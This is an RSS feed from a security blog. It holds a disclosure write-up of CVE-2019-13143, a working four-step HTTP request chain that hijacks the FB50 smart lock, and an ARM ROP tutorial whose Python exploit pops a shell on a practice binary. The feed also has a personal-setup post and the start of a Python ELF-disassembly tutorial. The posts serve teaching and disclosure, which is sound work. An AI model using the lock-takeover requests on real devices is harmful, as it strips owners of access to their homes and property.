1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  2  <channel>
  3    <title>icyphox's blog</title>
  4	<link>https://icyphox.sh/blog/</link>
  5    <description>Security, forensics and privacy.</description>
  6	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
  7    <image>
  8		<title>icyphox logo</title>
  9      <url>https://icyphox.sh/icyphox.png</url>
 10	  <link>https://icyphox.sh/blog/</link>
 11    </image>
 12    <language>en-us</language>
 13	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
 14    <item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 15
 16<h3 id="the-lock">The lock</h3>
 17
 18<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 19Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 20across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 21
 22<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 23the Play/App Store to function. The app requires the user to create an
 24account before further functionality is available. 
 25It also facilitates configuring the fingerprint,
 26and unlocking from a range via Bluetooth.</p>
 27
 28<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 29and the Android app.</p>
 30
 31<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 32
 33<p>Android phones have the ability to capture Bluetooth (HCI) traffic
 34which can be enabled under Developer Options under Settings. We made 
 35around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
 36
 37<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
 38
 39<p>This is the value sent in the <code>Write</code> request:</p>
 40
 41<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
 42
 43<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
 44but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 45
 46<h3 id="via-the-android-app">Via the Android app</h3>
 47
 48<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
 49far since most of it was obfuscated. Why bother when there exists an 
 50easier approach &#8211; BurpSuite.</p>
 51
 52<p>We captured and played around with a bunch of requests and responses,
 53and finally arrived at a working exploit chain.</p>
 54
 55<h3 id="the-exploit">The exploit</h3>
 56
 57<p>The entire exploit is a 4 step process consisting of authenticated 
 58HTTP requests:</p>
 59
 60<ol>
 61<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
 62vicinity), get the barcode and lock ID</li>
 63<li>Using the barcode, fetch the user ID</li>
 64<li>Using the lock ID and user ID, unbind the user from the lock</li>
 65<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
 66to the lock</li>
 67</ol>
 68
 69<p>This is what it looks like, in essence (personal info redacted).</p>
 70
 71<h4 id="request-1">Request 1</h4>
 72
 73<pre><code>POST /oklock/lock/queryDevice
 74{"mac":"XX:XX:XX:XX:XX:XX"}
 75</code></pre>
 76
 77<p>Response:</p>
 78
 79<pre><code>{
 80   "result":{
 81      "alarm":0,
 82      "barcode":"&lt;BARCODE&gt;",
 83      "chipType":"1",
 84      "createAt":"2019-05-14 09:32:23.0",
 85      "deviceId":"",
 86      "electricity":"95",
 87      "firmwareVersion":"2.3",
 88      "gsmVersion":"",
 89      "id":&lt;LOCK ID&gt;,
 90      "isLock":0,
 91      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 92      "lockPwd":"000000",
 93      "mac":"XX:XX:XX:XX:XX:XX",
 94      "name":"lock",
 95      "radioName":"BlueFPL",
 96      "type":0
 97   },
 98   "status":"2000"
 99}
100</code></pre>
101
102<h4 id="request-2">Request 2</h4>
103
104<pre><code>POST /oklock/lock/getDeviceInfo
105
106{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
107</code></pre>
108
109<p>Response:</p>
110
111<pre><code>   "result":{
112      "account":"email@some.website",
113      "alarm":0,
114      "barcode":"&lt;BARCODE&gt;",
115      "chipType":"1",
116      "createAt":"2019-05-14 09:32:23.0",
117      "deviceId":"",
118      "electricity":"95",
119      "firmwareVersion":"2.3",
120      "gsmVersion":"",
121      "id":&lt;LOCK ID&gt;,
122      "isLock":0,
123      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
124      "lockPwd":"000000",
125      "mac":"XX:XX:XX:XX:XX:XX",
126      "name":"lock",
127      "radioName":"BlueFPL",
128      "type":0,
129      "userId":&lt;USER ID&gt;
130   }
131</code></pre>
132
133<h4 id="request-3">Request 3</h4>
134
135<pre><code>POST /oklock/lock/unbind
136
137{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
138</code></pre>
139
140<h4 id="request-4">Request 4</h4>
141
142<pre><code>POST /oklock/lock/bind
143
144{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
145</code></pre>
146
147<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
148
149<p>You should have the lock transferred to your account. The severity of this
150issue lies in the fact that the original owner completely loses access to
151their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
152(the attacker) needs to authorize that. </p>
153
154<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
155Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
156&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
157
158<p><em>shudders</em></p>
159
160<h3 id="proof-of-concept">Proof of Concept</h3>
161
162<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
163
164<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
165
166<h3 id="disclosure-timeline">Disclosure timeline</h3>
167
168<ul>
169<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
170<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
171<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
172<li>No response from vendor</li>
173<li><strong>2nd August 2019</strong>: Public disclosure</li>
174</ul>
175
176<h3 id="lessons-learnt">Lessons learnt</h3>
177
178<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
179with keys. With the IoT plague spreading, it brings in a large attack surface
180to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
181
182<p>The IoT security scene is rife with bugs from over 10 years ago, like
183executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
184practices in general.</p>
185
186<p>Our existing threat models and scenarios have to be updated to factor 
187in these new exploitation possibilities. This also broadens the playing 
188field for cyber warfare and mass surveillance campaigns. </p>
189
190<h3 id="researcher-info">Researcher info</h3>
191
192<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
193
194<ul>
195<li>Anirudh Oppiliappan (me)</li>
196<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
197<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
198</ul>
199
200<div class="footnotes">
201<hr />
202<ol>
203<li id="fn-1">
204<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
205</li>
206
207<li id="fn-2">
208<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
209</li>
210
211<li id="fn-3">
212<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
213</li>
214</ol>
215</div>
216]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
217assembly to follow along. I highly recommend
218<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
219Basics</a>. Once you’re
220comfortable with it, proceed with the next bit — environment setup.</p>
221
222<h3 id="setup">Setup</h3>
223
224<p>Since we’re working with the ARM architecture, there are two options to go
225forth with: </p>
226
227<ol>
228<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
229And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
230The scripts found inside should be self-explanatory.</li>
231<li>Use actual ARM hardware, like an RPi.</li>
232</ol>
233
234<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
235may use <code>radare2</code>, IDA or anything else, really. All of which can be
236trivially installed.</p>
237
238<p>And for the sake of simplicity, disable ASLR:</p>
239
240<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
241</code></pre></div>
242
243<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
244<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
245
246<p>Compile it:</p>
247
248<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
249</code></pre></div>
250
251<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
252
253<h3 id="a-primer-on-rop">A primer on ROP</h3>
254
255<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
256used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
257In essence, no code in the binary is actually modified and the entire exploit
258is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
259
260<p>A gadget is essentially a small sequence of code (instructions), ending with
261a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
262code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
263These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
264to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
265there’s generally a call to <code>system()</code>, to acheive code execution.</p>
266
267<p>In practice, the process of executing a ropchain is something like this:</p>
268
269<ul>
270<li>confirm the existence of a stack-based buffer overflow</li>
271<li>identify the offset at which the instruction pointer gets overwritten</li>
272<li>locate the addresses of the gadgets you wish to use</li>
273<li>craft your input keeping in mind the stack’s layout, and chain the addresses
274of your gadgets</li>
275</ul>
276
277<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
278Check it out, it might be just what you needed for that “aha!” moment :)</p>
279
280<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
281that should put things into perspective.</p>
282
283<h3 id="exploring-our-binary">Exploring our binary</h3>
284
285<p>Start by running it, and entering any arbitrary string. On entering a fairly
286large string, say, “A” × 20, we
287see a segmentation fault occur.</p>
288
289<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
290
291<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
292
293<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
294
295<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and 
296<code>gadget</code>. Disassembling the <code>main</code> function:</p>
297
298<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
299
300<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
301to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are 
302never actually called.</p>
303
304<p>Disassembling the <code>gadget</code> function:</p>
305
306<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
307
308<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
309which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
310instruction in the middle. This is a <strong>gadget</strong>.</p>
311
312<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
313arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
314are used for this. So this gadget effectively allows us to pass arguments to
315functions using <code>r0</code>, and subsequently jumping to them by passing its address
316in <code>pc</code>. Neat.</p>
317
318<p>Moving on to the disassembly of the <code>winner</code> function:</p>
319
320<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
321
322<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
323So our end goal here is to, quite obviously, execute code via the <code>system()</code>
324function.</p>
325
326<p>Now that we have an overview of what’s in the binary, let’s formulate a method
327of exploitation by messing around with inputs.</p>
328
329<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
330
331<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
332screenshot.</p>
333
334<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
335
336<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
337the <code>pc</code> has been overwritten with our input.
338So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
339
340<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
341control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
342
343<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
344of the second instruction — <code>add r11, sp, #4</code>. 
345For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
346the address of <code>winner</code>. Note the endianness.</p>
347
348<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
349</code></pre></div>
350
351<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
352
353<p>The reason we don’t jump to the first instruction is because we want to control the stack
354ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
355those out after <code>winner</code> is done executing and we will no longer control 
356where it jumps to.</p>
357
358<p>So that didn’t do much, just prints out a string “Nothing much here&#8230;”. 
359But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
360to do what we want (run a command, execute a shell, etc.).</p>
361
362<p>To do that, we’ll follow a multi-step process: </p>
363
364<ol>
365<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
366<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
367<code>r0</code>.</li>
368<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
369</ol>
370
371<p>The pseudo-code is something like this:</p>
372
373<pre><code>string = AAAABBBBCCCCDDDDEEEE
374gadget = # addr of gadget
375binsh  = # addr of /bin/sh
376system = # addr of system()
377
378print(string + gadget + binsh + system)
379</code></pre>
380
381<p>Clean and mean.</p>
382
383<h3 id="the-exploit">The exploit</h3>
384
385<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
386It allows us to pack the bytes of addresses to the endianness of our choice.
387It probably does a lot more, but who cares.</p>
388
389<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
390at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
391
392<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
393</code></pre>
394
395<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
396
397<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
398found from the disassmblies from earlier. Here’s the final exploit code:</p>
399
400<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
401
402<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
403<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
404<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
405<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
406
407<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
408</code></pre></div>
409
410<p>Honestly, not too far off from our pseudo-code :)</p>
411
412<p>Let’s see it in action:</p>
413
414<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
415
416<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
417when the pipe closes, since there’s no input coming in from STDIN.
418To get around this, we use <code>cat(1)</code> which allows us to relay input through it
419to the shell. Nifty trick.</p>
420
421<h3 id="conclusion">Conclusion</h3>
422
423<p>This was a fairly basic challenge, with everything laid out conveniently. 
424Actual ropchaining is a little more involved, with a lot more gadgets to be chained
425to acheive code execution.</p>
426
427<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
428]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
429
430<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
4318 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
432
433<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
434I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
435
436<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
437
438<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>. 
439For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
440
441<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>. 
442Great pair of headphones, although the ear cups need replacing.</p>
443
444<h3 id="and-the-software">And the software</h3>
445
446<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
447window manager, all riced. I now use whatever JustWorks™.</del></p>
448
449<p><strong>Update</strong>: As of June 2019, I&#8217;ve switched over to a vanilla Debian 9 Stretch install,
450running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
451
452<p>Here’s a (riced) screenshot of my desktop. </p>
453
454<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
455
456<p>Most of my work is done in either the browser, or the terminal.
457My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
458a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
459My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
460I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
461
462<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
463clean and a single command to drop into a Kali shell.</p>
464
465<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
466The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
467
468<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
469]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
470
471<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
472
473<h3 id="setup">Setup</h3>
474
475<p>As the title suggests, you’re going to need a Python 3 interpreter before
476anything else. Once you’ve confirmed beyond reasonable doubt that you do,
477in fact, have a Python 3 interpreter installed on your system, run</p>
478
479<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
480</code></pre></div>
481
482<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
483
484<p>With that out of the way, let’s start with an example of a basic reversing
485challenge.</p>
486
487<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
488
489<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
490<span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"></span>
491<span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"></span>
492
493<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
494   <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
495   <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;a&#39;</span><span class="p">;</span>
496   <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
497       <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
498   <span class="p">}</span>
499   <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
500   <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
501   <span class="n">printf</span><span class="p">(</span><span class="s">&quot;password: &quot;</span><span class="p">);</span>
502   <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>        <span class="c1">// &#39;abcdefghi&#39;</span>
503   <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
504       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;haha yes!</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
505   <span class="p">}</span>
506   <span class="k">else</span> <span class="p">{</span>
507       <span class="n">printf</span><span class="p">(</span><span class="s">&quot;nah dude</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">);</span>
508   <span class="p">}</span>
509<span class="p">}</span>
510</code></pre></div>
511
512<p>Compile it with GCC/Clang:</p>
513
514<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
515</code></pre></div>
516
517<h3 id="scripting">Scripting</h3>
518
519<p>For starters, let’s look at the different sections present in the binary.</p>
520
521<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
522
523<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
524
525<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./chall.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
526    <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
527    <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
528        <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
529</code></pre></div>
530
531<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
532
533<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
534<span class="go">0x238 .interp</span>
535<span class="go">0x254 .note.ABI-tag</span>
536<span class="go">0x274 .note.gnu.build-id</span>
537<span class="go">0x298 .gnu.hash</span>
538<span class="go">0x2c0 .dynsym</span>
539<span class="go">0x3e0 .dynstr</span>
540<span class="go">0x484 .gnu.version</span>
541<span class="go">0x4a0 .gnu.version_r</span>
542<span class="go">0x4c0 .rela.dyn</span>
543<span class="go">0x598 .rela.plt</span>
544<span class="go">0x610 .init</span>
545<span class="go">0x630 .plt</span>
546<span class="go">0x690 .plt.got</span>
547<span class="go">0x6a0 .text</span>
548<span class="go">0x8f4 .fini</span>
549<span class="go">0x900 .rodata</span>
550<span class="go">0x924 .eh_frame_hdr</span>
551<span class="go">0x960 .eh_frame</span>
552<span class="go">0x200d98 .init_array</span>
553<span class="go">0x200da0 .fini_array</span>
554<span class="go">0x200da8 .dynamic</span>
555<span class="go">0x200f98 .got</span>
556<span class="go">0x201000 .data</span>
557<span class="go">0x201010 .bss</span>
558<span class="go">0x0 .comment</span>
559<span class="go">0x0 .symtab</span>
560<span class="go">0x0 .strtab</span>
561<span class="go">0x0 .shstrtab</span>
562</code></pre></div>
563
564<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
565
566<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
567
568<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
569
570<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
571<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
572
573<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;./bin.elf&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
574    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
575    <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">&#39;.text&#39;</span><span class="p">)</span>
576    <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
577    <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">&#39;sh_addr&#39;</span><span class="p">]</span>
